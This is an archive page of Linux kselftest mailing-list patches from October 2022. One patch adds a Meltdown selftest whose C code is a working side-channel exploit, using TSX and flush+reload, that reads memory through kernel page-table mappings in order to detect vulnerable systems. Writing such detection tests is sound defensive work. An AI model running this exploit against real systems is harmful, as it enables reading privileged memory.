October 2022 - Linux-kselftest-mirror

[PATCH v1 0/2] kselftest/arm64: fp-stress output clarity improvements

by Mark Brown

This series provides a couple of improvements to the output of fp-stress, making it easier to follow what's going on and our application of the timeout a bit more even. Mark Brown (2): kselftest/arm64: Check that all children are producing output in fp-stress kselftest/arm64: Provide progress messages when signalling children tools/testing/selftests/arm64/fp/fp-stress.c | 26 ++++++++++++++++++++ 1 file changed, 26 insertions(+) base-commit: 9abf2313adc1ca1b6180c508c25f22f9395cc780 -- 2.30.2

1 year, 5 months

2
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[RESEND][RFC][PATCH 1/3] lsm: Clarify documentation of vm_enough_memory hook

by Roberto Sassu

From: Roberto Sassu <roberto.sassu(a)huawei.com> include/linux/lsm_hooks.h reports the result of the LSM infrastructure to the callers, not what LSMs should return to the LSM infrastructure. Clarify that and add that returning 1 from the LSMs means calling __vm_enough_memory() with cap_sys_admin set, 0 without. Signed-off-by: Roberto Sassu <roberto.sassu(a)huawei.com> --- include/linux/lsm_hooks.h | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/include/linux/lsm_hooks.h b/include/linux/lsm_hooks.h index 4ec80b96c22e..f40b82ca91e7 100644 --- a/include/linux/lsm_hooks.h +++ b/include/linux/lsm_hooks.h @@ -1411,7 +1411,9 @@ * Check permissions for allocating a new virtual mapping. * @mm contains the mm struct it is being added to. * @pages contains the number of pages. - * Return 0 if permission is granted. + * Return 0 if permission is granted by LSMs to the caller. LSMs should + * return 1 if __vm_enough_memory() should be called with + * cap_sys_admin set, 0 if not. * * @ismaclabel: * Check if the extended attribute specified by @name -- 2.25.1

1 year, 5 months

3
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[RFC PATCH] selftest/x86/meltdown: Add a selftest for meltdown

by Aaron Lu

To capture potential programming errors like mistakenly setting Global bit on kernel page table entries, a selftest for meltdown is added. This selftest is based on https://github.com/IAIK/meltdown. What this test does is to firstly set a predefined string at a random user address and then with pagemap, get the physical address of this string. Finally, try to fetch the data using kernel's directmap address for this physical address to see if user space can use kernel's page table. Per my tests, this test works well on CPUs that have TSX support. For this reason, this selftest only works on CPUs that supports TSX. This test requires the knowledge of direct map base. IAIK used the following two methods to get direct map base: 1 through a kernel module to show phys_to_virt(0); 2 by exploiting the same HW vulnerability to guess the base. Method 1 makes running this selftest complex while method 2 is not reliable and I do not want to use a possibly wrong value to run this test. Suggestions are welcome. Tested on both x86_64 and i386_pae VMs on a host with i7-7700K cpu, success rate is about 50% when nopti kernel cmdline is used. Signed-off-by: Aaron Lu <aaron.lu(a)intel.com> --- tools/testing/selftests/x86/Makefile | 2 +- tools/testing/selftests/x86/meltdown.c | 385 +++++++++++++++++++++++++ 2 files changed, 386 insertions(+), 1 deletion(-) create mode 100644 tools/testing/selftests/x86/meltdown.c diff --git a/tools/testing/selftests/x86/Makefile b/tools/testing/selftests/x86/Makefile index 0388c4d60af0..36f99c360a56 100644 --- a/tools/testing/selftests/x86/Makefile +++ b/tools/testing/selftests/x86/Makefile @@ -13,7 +13,7 @@ CAN_BUILD_WITH_NOPIE := $(shell ./check_cc.sh "$(CC)" trivial_program.c -no-pie) TARGETS_C_BOTHBITS := single_step_syscall sysret_ss_attrs syscall_nt test_mremap_vdso \ check_initial_reg_state sigreturn iopl ioperm \ test_vsyscall mov_ss_trap \ - syscall_arg_fault fsgsbase_restore sigaltstack + syscall_arg_fault fsgsbase_restore sigaltstack meltdown TARGETS_C_32BIT_ONLY := entry_from_vm86 test_syscall_vdso unwind_vdso \ test_FCMOV test_FCOMI test_FISTTP \ vdso_restorer diff --git a/tools/testing/selftests/x86/meltdown.c b/tools/testing/selftests/x86/meltdown.c new file mode 100644 index 000000000000..fb72d933fd90 --- /dev/null +++ b/tools/testing/selftests/x86/meltdown.c @@ -0,0 +1,385 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * This selftest is based on code from https://github.com/IAIK/meltdown + * and can be used to check if user space can read data through kernel + * page table entries. + * + * Note for i386 test: due to kernel prefer to use high memory for user + * programs, it is necessary to restrict the available memory under that + * of low memory size(around ~896MiB) so that the memory hosting "string" + * in main() is directly mapped. + * + * The original copyright and license information are shown below: + * + * Copyright (c) 2018 meltdown + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any damages + * arising from the use of this software. + * + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you must not + * claim that you wrote the original software. If you use this software + * in a product, an acknowledgment in the product documentation would be + * appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and must not be + * misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + */ + +#include <fcntl.h> +#include <unistd.h> +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <string.h> +#include <cpuid.h> +#include <errno.h> +#include <err.h> +#include <sys/mman.h> + +#define PAGE_SHIFT 12 +#define PAGE_SIZE 0x1000 +#define PUD_SHIFT 30 +#define PUD_SIZE (1UL << PUD_SHIFT) +#define PUD_MASK (~(PUD_SIZE - 1)) + +#define _XBEGIN_STARTED (~0u) + +/* configurables */ +#define NR_MEASUREMENTS 3 +#define NR_TRIES 10000 + +size_t cache_miss_threshold; +unsigned long directmap_base; + +static int get_directmap_base(void) +{ + char *buf; + FILE *fp; + size_t n; + int ret; + + fp = fopen("/sys/kernel/debug/page_tables/kernel", "r"); + if (!fp) + return -1; + + buf = NULL; + ret = -1; + while (getline(&buf, &n, fp) != -1) { + if (!strstr(buf, "Kernel Mapping")) + continue; + + if (getline(&buf, &n, fp) != -1 && + sscanf(buf, "0x%lx", &directmap_base) == 1) { + printf("directmap_base=0x%lx/0x%lx\n", directmap_base, directmap_base & PUD_MASK); + directmap_base &= PUD_MASK; + ret = 0; + break; + } + } + + fclose(fp); + free(buf); + return ret; +} + +/* + * Requires root due to pagemap. + */ +static int virt_to_phys(unsigned long virt, unsigned long *phys) +{ + unsigned long pfn; + uint64_t val; + int fd, ret; + + fd = open("/proc/self/pagemap", O_RDONLY); + if (fd == -1) { + printf("Failed to open pagemap\n"); + return -1; + } + + ret = pread(fd, &val, sizeof(val), (virt >> PAGE_SHIFT) * sizeof(uint64_t)); + if (ret == -1) { + printf("Failed to read pagemap\n"); + goto out; + } + + if (!(val & (1ULL << 63))) { + printf("Page not present according to pagemap\n"); + ret = -1; + goto out; + } + + pfn = val & ((1ULL << 55) - 1); + if (pfn == 0) { + printf("Need CAP_SYS_ADMIN to show pfn\n"); + ret = -1; + goto out; + } + + ret = 0; + *phys = (pfn << PAGE_SHIFT) | (virt & (PAGE_SIZE - 1)); + +out: + close(fd); + return ret; +} + +static uint64_t rdtsc() +{ + uint64_t a = 0, d = 0; + + asm volatile("mfence"); +#ifdef __x86_64__ + asm volatile("rdtsc" : "=a"(a), "=d"(d)); +#else + asm volatile("rdtsc" : "=A"(a)); +#endif + a = (d << 32) | a; + asm volatile("mfence"); + + return a; +} + +#ifdef __x86_64__ +static void maccess(void *p) +{ + asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); +} + +static void flush(void *p) +{ + asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); +} + +#define MELTDOWN \ + asm volatile("1:\n" \ + "movzx (%%rcx), %%rax\n" \ + "shl $12, %%rax\n" \ + "jz 1b\n" \ + "movq (%%rbx,%%rax,1), %%rbx\n" \ + : \ + : "c"(virt), "b"(array) \ + : "rax"); +#else +static void maccess(void *p) +{ + asm volatile("movl (%0), %%eax\n" : : "c"(p) : "eax"); +} + +static void flush(void *p) +{ + asm volatile("clflush 0(%0)\n" : : "c"(p) : "eax"); +} + +#define MELTDOWN \ + asm volatile("1:\n" \ + "movzx (%%ecx), %%eax\n" \ + "shl $12, %%eax\n" \ + "jz 1b\n" \ + "mov (%%ebx,%%eax,1), %%ebx\n" \ + : \ + : "c"(virt), "b"(array) \ + : "eax"); +#endif + +static void detect_flush_reload_threshold() +{ + size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; + size_t dummy[16]; + size_t *ptr = dummy + 8; + uint64_t start = 0, end = 0; + + maccess(ptr); + for (i = 0; i < count; i++) { + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + reload_time += (end - start); + } + + for (i = 0; i < count; i++) { + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + flush(ptr); + flush_reload_time += (end - start); + } + + reload_time /= count; + flush_reload_time /= count; + + printf("Flush+Reload: %zd cycles, Reload only: %zd cycles\n", + flush_reload_time, reload_time); + cache_miss_threshold = (flush_reload_time + reload_time * 2) / 3; + printf("Flush+Reload threshold: %zd cycles\n", cache_miss_threshold); +} + +static int flush_reload(void *ptr) +{ + uint64_t start, end; + + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + + flush(ptr); + + if (end - start < cache_miss_threshold) + return 1; + + return 0; +} + +static int check_tsx() +{ + if (__get_cpuid_max(0, NULL) >= 7) { + unsigned a, b, c, d; + __cpuid_count(7, 0, a, b, c, d); + return (b & (1 << 11)) ? 1 : 0; + } else + return 0; +} + +static unsigned int xbegin(void) +{ + unsigned int status; + + asm volatile("xbegin 1f \n 1:" : "=a"(status) : "a"(-1UL) : "memory"); + asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); + + return status; +} + +static void xend(void) +{ + asm volatile("xend" ::: "memory"); + asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); +} + +static int __read_phys_memory_tsx(unsigned long phys, char *array) +{ + unsigned long virt; + int i, retries; + + virt = phys + directmap_base; + for (retries = 0; retries < NR_TRIES; retries++) { + if (xbegin() == _XBEGIN_STARTED) { + MELTDOWN; + xend(); + } + + for (i = 1; i < 256; i++) { + if (flush_reload(array + i * PAGE_SIZE)) + return i; + } + } + + return 0; +} + +/* + * Read physical memory by exploiting HW bugs. + * One byte a time. + */ +static int read_phys_memory(unsigned long phys, char *array) +{ + char res_stat[256]; + int i, r, max_v, max_i; + + memset(res_stat, 0, sizeof(res_stat)); + + for (i = 0; i < NR_MEASUREMENTS; i++) { + for (i = 0; i < 256; i++) + flush(array + i * PAGE_SIZE); + + r = __read_phys_memory_tsx(phys, array); + if (r != 0) + res_stat[r]++; + } + + max_v = 0; + for (i = 1; i < 256; i++) { + if (res_stat[i] > max_v) { + max_i = i; + max_v = res_stat[i]; + } + } + + if (max_v == 0) + return 0; + + return max_i; +} + +static int test_meltdown(void) +{ + char string[] = "test string"; + char *array, *result; + unsigned long phys; + int i, len, ret; + + if (get_directmap_base() == -1) { + printf("[FAIL]\tFailed to get directmap base. Make sure you are root and kernel has CONFIG_PTDUMP_DEBUGFS\n"); + return 0; + } + + detect_flush_reload_threshold(); + + if (!check_tsx()) { + printf("[FAIL]\tNo TSX support\n"); + return 0; + } + + if (virt_to_phys((unsigned long)string, &phys) == -1) { + printf("[FAIL]\tFailed to convert virtual address to physical address\n"); + return -1; + } + + len = strlen(string); + result = malloc(len + 1); + if (!result) { + printf("[FAIL]\tNot enough memory for malloc\n"); + return -1; + } + memset(result, 0, len + 1); + + array = mmap(NULL, 256 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (!array) { + printf("[FAIL]\tNot enough memory for mmap\n"); + free(result); + return -1; + } + memset(array, 0, 256 * PAGE_SIZE); + + for (i = 0; i < len; i++, phys++) { + result[i] = read_phys_memory(phys, array); + if (result[i] == 0) + break; + } + + ret = !strncmp(string, result, len); + if (ret) + printf("[FAIL]\tSystem is vulnerable to meltdown.\n"); + else + printf("[OK]\tSystem might not be vulnerable to meltdown.\n"); + + munmap(array, 256 * PAGE_SIZE); + free(result); + + return ret; +} + +int main(void) +{ + printf("[RUN]\tTest if system is vulnerable to meltdown\n"); + + return test_meltdown(); +} -- 2.30.2

1 year, 5 months

2
4
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[PATCH bpf-next] selftests/bpf: Fix strncpy() fortify warning

by Rong Tao

From: Rong Tao <rongtao(a)cestc.cn> Compile samples/bpf, error: $ cd samples/bpf $ make ... In function ‘__enable_controllers’: samples/bpf/../../tools/testing/selftests/bpf/cgroup_helpers.c:80:17: warning: ‘strncpy’ specified bound 4097 equals destination size [-Wstringop-truncation] 80 | strncpy(enable, controllers, sizeof(enable)); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Signed-off-by: Rong Tao <rongtao(a)cestc.cn> --- tools/testing/selftests/bpf/cgroup_helpers.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/testing/selftests/bpf/cgroup_helpers.c b/tools/testing/selftests/bpf/cgroup_helpers.c index e914cc45b766..a70e873b267e 100644 --- a/tools/testing/selftests/bpf/cgroup_helpers.c +++ b/tools/testing/selftests/bpf/cgroup_helpers.c @@ -77,7 +77,7 @@ static int __enable_controllers(const char *cgroup_path, const char *controllers enable[len] = 0; close(fd); } else { - strncpy(enable, controllers, sizeof(enable)); + strncpy(enable, controllers, sizeof(enable) - 1); } snprintf(path, sizeof(path), "%s/cgroup.subtree_control", cgroup_path); -- 2.31.1

1 year, 5 months

5
16
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[PATCH hid v11 00/14] Introduce eBPF support for HID devices

by Benjamin Tissoires

Hi, and here comes the v11 of the HID-BPF series. Again, for a full explanation of HID-BPF, please refer to the last patch in this series (14/14). Now that the bpf-core changes are all merged in v6.1, it is time to have that series entirely relying on HID, so it can get merged into the HID tree. Compared to v10, the most notable change is in the selftests and the samples: they are now namespaced into hid, not bpf. This means that HID-BPF has no more conflicts with the bpf tree. One other interesting change is in patch 4/14. I managed to reduce the scope of the embedded bpf programs, by tricking the refcount. I am planning on submitting an RFC for embedding those changes in bpf core (a map that doesn't increment refcount and a cleanup mechanism) but this can come as a later improvement. This new kind of maps and mechanisms might also be useful for other subsystems. Cheers, Benjamin Benjamin Tissoires (14): HID: Kconfig: split HID support and hid-core compilation HID: initial BPF implementation selftests: add tests for the HID-bpf initial implementation HID: bpf jmp table: simplify the logic of cleaning up programs HID: bpf: allocate data memory for device_event BPF programs selftests/hid: add test to change the report size HID: bpf: introduce hid_hw_request() selftests/hid: add tests for bpf_hid_hw_request HID: bpf: allow to change the report descriptor selftests/hid: add report descriptor fixup tests selftests/hid: Add a test for BPF_F_INSERT_HEAD samples/hid: add new hid BPF example samples/hid: add Surface Dial example Documentation: add HID-BPF docs Documentation/hid/hid-bpf.rst | 513 +++++++++++ Documentation/hid/index.rst | 1 + MAINTAINERS | 3 + drivers/Makefile | 2 +- drivers/hid/Kconfig | 20 +- drivers/hid/Makefile | 2 + drivers/hid/bpf/Kconfig | 17 + drivers/hid/bpf/Makefile | 11 + drivers/hid/bpf/entrypoints/Makefile | 93 ++ drivers/hid/bpf/entrypoints/README | 4 + drivers/hid/bpf/entrypoints/entrypoints.bpf.c | 34 + .../hid/bpf/entrypoints/entrypoints.lskel.h | 368 ++++++++ drivers/hid/bpf/hid_bpf_dispatch.c | 526 +++++++++++ drivers/hid/bpf/hid_bpf_dispatch.h | 28 + drivers/hid/bpf/hid_bpf_jmp_table.c | 572 ++++++++++++ drivers/hid/hid-core.c | 32 +- include/linux/hid.h | 5 + include/linux/hid_bpf.h | 148 +++ include/uapi/linux/hid_bpf.h | 25 + samples/hid/.gitignore | 8 + samples/hid/Makefile | 246 +++++ samples/hid/Makefile.target | 75 ++ samples/hid/hid_mouse.bpf.c | 134 +++ samples/hid/hid_mouse.c | 160 ++++ samples/hid/hid_surface_dial.bpf.c | 161 ++++ samples/hid/hid_surface_dial.c | 231 +++++ tools/include/uapi/linux/hid.h | 62 ++ tools/include/uapi/linux/hid_bpf.h | 25 + tools/testing/selftests/Makefile | 1 + tools/testing/selftests/hid/.gitignore | 4 + tools/testing/selftests/hid/Makefile | 242 +++++ tools/testing/selftests/hid/config | 20 + tools/testing/selftests/hid/hid_bpf.c | 846 ++++++++++++++++++ tools/testing/selftests/hid/progs/hid.c | 206 +++++ 34 files changed, 4815 insertions(+), 10 deletions(-) create mode 100644 Documentation/hid/hid-bpf.rst create mode 100644 drivers/hid/bpf/Kconfig create mode 100644 drivers/hid/bpf/Makefile create mode 100644 drivers/hid/bpf/entrypoints/Makefile create mode 100644 drivers/hid/bpf/entrypoints/README create mode 100644 drivers/hid/bpf/entrypoints/entrypoints.bpf.c create mode 100644 drivers/hid/bpf/entrypoints/entrypoints.lskel.h create mode 100644 drivers/hid/bpf/hid_bpf_dispatch.c create mode 100644 drivers/hid/bpf/hid_bpf_dispatch.h create mode 100644 drivers/hid/bpf/hid_bpf_jmp_table.c create mode 100644 include/linux/hid_bpf.h create mode 100644 include/uapi/linux/hid_bpf.h create mode 100644 samples/hid/.gitignore create mode 100644 samples/hid/Makefile create mode 100644 samples/hid/Makefile.target create mode 100644 samples/hid/hid_mouse.bpf.c create mode 100644 samples/hid/hid_mouse.c create mode 100644 samples/hid/hid_surface_dial.bpf.c create mode 100644 samples/hid/hid_surface_dial.c create mode 100644 tools/include/uapi/linux/hid.h create mode 100644 tools/include/uapi/linux/hid_bpf.h create mode 100644 tools/testing/selftests/hid/.gitignore create mode 100644 tools/testing/selftests/hid/Makefile create mode 100644 tools/testing/selftests/hid/config create mode 100644 tools/testing/selftests/hid/hid_bpf.c create mode 100644 tools/testing/selftests/hid/progs/hid.c -- 2.36.1

1 year, 5 months

7
21
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[PATCH 0/2] Fix slab-out-of-bounds Write in dbgfs_rm_context_write

by SeongJae Park

This patchset is for fixing (patch 1) the syzbot-reported slab-out-of-bounds write in dbgfs_rm_context_write[1], and adding a selftest for the bug (patch 2). [1] https://lore.kernel.org/damon/000000000000ede3ac05ec4abf8e@google.com/ SeongJae Park (2): mm/damon/dbgfs: check if rm_contexts input is for a real context selftests/damon: test non-context inputs to rm_contexts file mm/damon/dbgfs.c | 7 +++++++ tools/testing/selftests/damon/Makefile | 1 + .../damon/debugfs_rm_non_contexts.sh | 19 +++++++++++++++++++ 3 files changed, 27 insertions(+) create mode 100755 tools/testing/selftests/damon/debugfs_rm_non_contexts.sh -- 2.25.1

1 year, 5 months

1
2
0 0

[PATCH v16 0/3] Add TDX Guest Attestation support

by Kuppuswamy Sathyanarayanan

Hi All, Intel's Trust Domain Extensions (TDX) protect guest VMs from malicious hosts and some physical attacks. VM guest with TDX support is called as a TDX Guest. In TDX guest, attestation process is used to verify the TDX guest trustworthiness to other entities before provisioning secrets to the guest. For example, a key server may request for attestation before releasing the encryption keys to mount the encrypted rootfs or secondary drive. This patch set adds attestation support for the TDX guest. Details about the TDX attestation process and the steps involved are explained in Documentation/x86/tdx.rst (added by patch 2/3). Following are the details of the patch set: Patch 1/3 -> Preparatory patch for adding attestation support. Patch 2/3 -> Adds user interface driver to support attestation. Patch 3/3 -> Adds selftest support for TDREPORT feature. Commit log history is maintained in the individual patches. Current overall status of this series is, it has no pending issues and can be considered for the upcoming merge cycle. Kuppuswamy Sathyanarayanan (3): x86/tdx: Add a wrapper to get TDREPORT from the TDX Module virt: Add TDX guest driver selftests: tdx: Test TDX attestation GetReport support Documentation/virt/coco/tdx-guest.rst | 42 +++++ Documentation/virt/index.rst | 1 + Documentation/x86/tdx.rst | 43 +++++ arch/x86/coco/tdx/tdx.c | 31 ++++ arch/x86/include/asm/tdx.h | 2 + drivers/virt/Kconfig | 2 + drivers/virt/Makefile | 1 + drivers/virt/coco/tdx-guest/Kconfig | 10 ++ drivers/virt/coco/tdx-guest/Makefile | 2 + drivers/virt/coco/tdx-guest/tdx-guest.c | 121 +++++++++++++ include/uapi/linux/tdx-guest.h | 55 ++++++ tools/testing/selftests/Makefile | 1 + tools/testing/selftests/tdx/Makefile | 7 + tools/testing/selftests/tdx/config | 1 + tools/testing/selftests/tdx/tdx_guest_test.c | 175 +++++++++++++++++++ 15 files changed, 494 insertions(+) create mode 100644 Documentation/virt/coco/tdx-guest.rst create mode 100644 drivers/virt/coco/tdx-guest/Kconfig create mode 100644 drivers/virt/coco/tdx-guest/Makefile create mode 100644 drivers/virt/coco/tdx-guest/tdx-guest.c create mode 100644 include/uapi/linux/tdx-guest.h create mode 100644 tools/testing/selftests/tdx/Makefile create mode 100644 tools/testing/selftests/tdx/config create mode 100644 tools/testing/selftests/tdx/tdx_guest_test.c -- 2.34.1

1 year, 5 months

4
13
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[PATCH v2 0/5] mm/memfd: MFD_NOEXEC for memfd_create

by jeffxu＠google.com

From: Jeff Xu <jeffxu(a)chromium.org> Hi, This v2 series MFD_NOEXEC, this series includes: 1> address comments in V1 2> add sysctl (vm.mfd_noexec) to change the default file permissions of memfd_create to be non-executable. Below are cover-level for v1: The default file permissions on a memfd include execute bits, which means that such a memfd can be filled with a executable and passed to the exec() family of functions. This is undesirable on systems where all code is verified and all filesystems are intended to be mounted noexec, since an attacker may be able to use a memfd to load unverified code and execute it. Additionally, execution via memfd is a common way to avoid scrutiny for malicious code, since it allows execution of a program without a file ever appearing on disk. This attack vector is not totally mitigated with this new flag, since the default memfd file permissions must remain executable to avoid breaking existing legitimate uses, but it should be possible to use other security mechanisms to prevent memfd_create calls without MFD_NOEXEC on systems where it is known that executable memfds are not necessary. This patch series adds a new MFD_NOEXEC flag for memfd_create(), which allows creation of non-executable memfds, and as part of the implementation of this new flag, it also adds a new F_SEAL_EXEC seal, which will prevent modification of any of the execute bits of a sealed memfd. I am not sure if this is the best way to implement the desired behavior (for example, the F_SEAL_EXEC seal is really more of an implementation detail and feels a bit clunky to expose), so suggestions are welcome for alternate approaches. v1: https://lwn.net/Articles/890096/ Daniel Verkamp (4): mm/memfd: add F_SEAL_EXEC mm/memfd: add MFD_NOEXEC flag to memfd_create selftests/memfd: add tests for F_SEAL_EXEC selftests/memfd: add tests for MFD_NOEXEC Jeff Xu (1): sysctl: add support for mfd_noexec include/linux/mm.h | 4 + include/uapi/linux/fcntl.h | 1 + include/uapi/linux/memfd.h | 1 + kernel/sysctl.c | 9 ++ mm/memfd.c | 39 ++++- mm/shmem.c | 6 + tools/testing/selftests/memfd/memfd_test.c | 163 ++++++++++++++++++++- 7 files changed, 221 insertions(+), 2 deletions(-) base-commit: 9e2f40233670c70c25e0681cb66d50d1e2742829 -- 2.37.1.559.g78731f0fdb-goog

1 year, 5 months

4
11
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[PATCH V5 0/5] Add tbench/gitsource new test cases for amd-pstate-ut

by Meng Li

Hi all: First, rename amd-pstate-ut.sh to basic.sh as a basic test, mainly for AMD P-State kernel drivers. The purpose of this modification is to facilitate the subsequent addition of gitsource, tbench and other tests. Second, split basic.sh into run.sh and basic.sh. The modification makes basic.sh more pure, just for test basic kernel functions. The file of run.sh mainly contains functions such as test entry, parameter check, prerequisite and log clearing etc. Third, add tbench.sh trigger the tbench testing and monitor the cpu. Fourth, add gitsource.sh trigger the gitsource testing and monitor the cpu information. Finally, modify rst document to introduce test steps and results etc. See patch series in below git repo: V1:https://lore.kernel.org/lkml/20220706073622.672135-1-li.meng@amd.com/ V2:https://lore.kernel.org/lkml/20220804054414.1510764-1-li.meng@amd.com/ V3:https://lore.kernel.org/lkml/20220914061105.1982477-1-li.meng@amd.com/ V4:https://lore.kernel.org/lkml/20221024013356.1639489-1-li.meng@amd.com/ Changes from V1->V2: - selftests: amd-pstate: basic - - delete main.sh and merge funtions into run.sh - selftests: amd-pstate: tbench - - modify ppw to performance per watt for tbench. - - add comments for performance per watt for tbench. - - add comparative test on acpi-cpufreq for tbench. - - calculate drop between amd-pstate and acpi-cpufreq etc. - - plot images about perfrmance,energy and ppw for tbench. - selftests: amd-pstate: gitsource - - modify ppw to performance per watt for gitsource. - - add comments for performance per watt for gitsource. - - add comparative test on acpi-cpufreq for gitsource. - - calculate drop between amd-pstate and acpi-cpufreq etc. - - plot images about perfrmance,energy and ppw for gitsource. - Documentation: amd-pstate: - - modify rst doc, introduce comparative test etc. Changes from V2->V3: - selftests: amd-pstate: - - reduce print logs for governor. - - add a check to see if tbench and the perf tools are already installed. - - install tbench package from apt or yum. - - correct spelling errors from comprison to comparison. Changes from V3->V4: - selftests: amd-pstate: - - modify cover letter and commit logs. - Documentation: amd-pstate: - - modify some format questions. Changes from V4->V5: - selftests: amd-pstate: - - rename amd-pstate-ut.sh to basic.sh. - - split basic.sh into run.sh and basic.sh. - - modify tbench.sh to prompt to install tbench. - - modify commit messages and description informations of shell files. - Documentation: amd-pstate: - - correct spell errors. Thanks, Jasmine Meng Li (5): selftests: amd-pstate: Rename amd-pstate-ut.sh to basic.sh. selftests: amd-pstate: Split basic.sh into run.sh and basic.sh. selftests: amd-pstate: Trigger tbench benchmark and test cpus selftests: amd-pstate: Trigger gitsource benchmark and test cpus Documentation: amd-pstate: Add tbench and gitsource test introduction Documentation/admin-guide/pm/amd-pstate.rst | 194 ++++++++- tools/testing/selftests/amd-pstate/Makefile | 11 +- .../selftests/amd-pstate/amd-pstate-ut.sh | 56 --- tools/testing/selftests/amd-pstate/basic.sh | 38 ++ .../testing/selftests/amd-pstate/gitsource.sh | 354 ++++++++++++++++ tools/testing/selftests/amd-pstate/run.sh | 387 ++++++++++++++++++ tools/testing/selftests/amd-pstate/tbench.sh | 339 +++++++++++++++ 7 files changed, 1302 insertions(+), 77 deletions(-) delete mode 100755 tools/testing/selftests/amd-pstate/amd-pstate-ut.sh create mode 100755 tools/testing/selftests/amd-pstate/basic.sh create mode 100755 tools/testing/selftests/amd-pstate/gitsource.sh create mode 100755 tools/testing/selftests/amd-pstate/run.sh create mode 100755 tools/testing/selftests/amd-pstate/tbench.sh -- 2.34.1

1 year, 5 months

3
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0 0

[PATCH] kunit: alloc_string_stream_fragment error handling bug fix

by YoungJun.park

When it fails to allocate fragment, it does not free and return error. And check the pointer inappropriately. Signed-off-by: YoungJun.park <her0gyugyu(a)gmail.com> --- lib/kunit/string-stream.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/kunit/string-stream.c b/lib/kunit/string-stream.c index 72659a9773e3..0228fe814e96 100644 --- a/lib/kunit/string-stream.c +++ b/lib/kunit/string-stream.c @@ -23,8 +23,10 @@ static struct string_stream_fragment *alloc_string_stream_fragment( return ERR_PTR(-ENOMEM); frag->fragment = kunit_kmalloc(test, len, gfp); - if (!frag->fragment) + if (!frag->fragment) { + kunit_kfree(test, frag); return ERR_PTR(-ENOMEM); + } return frag; } @@ -56,7 +58,7 @@ int string_stream_vadd(struct string_stream *stream, frag_container = alloc_string_stream_fragment(stream->test, len, stream->gfp); - if (!frag_container) + if (IS_ERR(frag_container)) return -ENOMEM; len = vsnprintf(frag_container->fragment, len, fmt, args); -- 2.25.1

1 year, 5 months

4
3
0 0

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